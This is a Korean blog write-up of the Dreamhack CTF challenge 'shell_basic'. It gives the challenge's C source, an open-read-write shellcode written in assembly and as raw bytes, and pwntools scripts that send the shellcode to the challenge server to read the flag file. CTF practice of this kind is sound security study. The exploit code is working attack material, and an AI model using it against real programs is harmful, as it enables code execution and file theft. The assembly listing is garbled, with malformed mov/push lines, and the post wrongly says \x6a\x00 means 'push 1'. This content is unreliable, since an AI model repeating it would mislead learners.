[Dreamhack-system] shell_basic 풀이

박정원·2023년 6월 12일

보안공부

목록 보기
23/43

주어진 코드를 살펴본다.

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

우리가 입력하는 곳인 read(0, shellcode, 0x1000)를 먼저 살펴본다. 세번째 인자인 0x1000로 보아, 셸코드를 입력을 하는데 길이는 문제가 거의 되지 않을 것으로 보인다.

이 문제는 shellcraft를 이용해서 풀면 더 쉽고 빠르게 풀 수 있지만, 일단 하나하나 코드를 써보자.

어셈블리어로 코드 짜기

section .text
global _start
_start:
	mov rax 
    push rax, 0x676e6f6f6f6f6f6f
    mov rax
    push rax, 0x6c5f73695f656d61
    mov rax
    push rax, 0x6e5f67616c662f63
    mov rax
    push rax, 0x697361625f6c6c65
    mov rax
    push rax, 0x68732f656d6f682f
    mov rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall
    
    mov rdi, rax
    mov rsi, rsp
    sub rsi, 0x30
    mov rdx, 0x30
    mov rax, 0x0
    syscall
    
    mov rdi, 1
    mov rax, 0x1
    syscall

$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin

여기서 xxd write.bin을 했을 때 나오는 16진수 값들을 바이트 값으로 전송하면 플래그를 얻을 수 있는데, 이때 push 1을 의미하는 \x6a\x00을 페이로드에 추가해야 하는데, 그 이유는 rsp와 opcode 간의 구분을 해야하기 때문이라고 한다.

어셈블리어를 이용한 파이썬 코드는 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 12212)

shell= b"\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"

p.recvuntil("shellcode: ")
p.sendline(shell)
p.interactive()

shellcraft를 이용해서 코드 짜기

사실 위의 방법과 같이 어셈블리어를 이용해서 어렵게 풀 필요없이 shellcraft를 이용하면 간단하게 문제를 해결할 수 있다. 파이썬 코드를 다음과 같이 짠다면 문제를 바로 해결할 수 있다.

from pwn import *
p = remote("host3.dreamhack.games", 12212)

fpath = "/home/shell_basic/flag_name_is_loooooong"

shell = shellcraft.open(fpath)
shell += shellcraft.read("rax", "rsp", "0x30")
shell += shellcraft.write(1, "rsp", "0x30")

p.recvuntil("shellcode: ")
p.sendline(asm(shell))
p.interactive()
profile
보안, 프런트엔드 공부 중!

0개의 댓글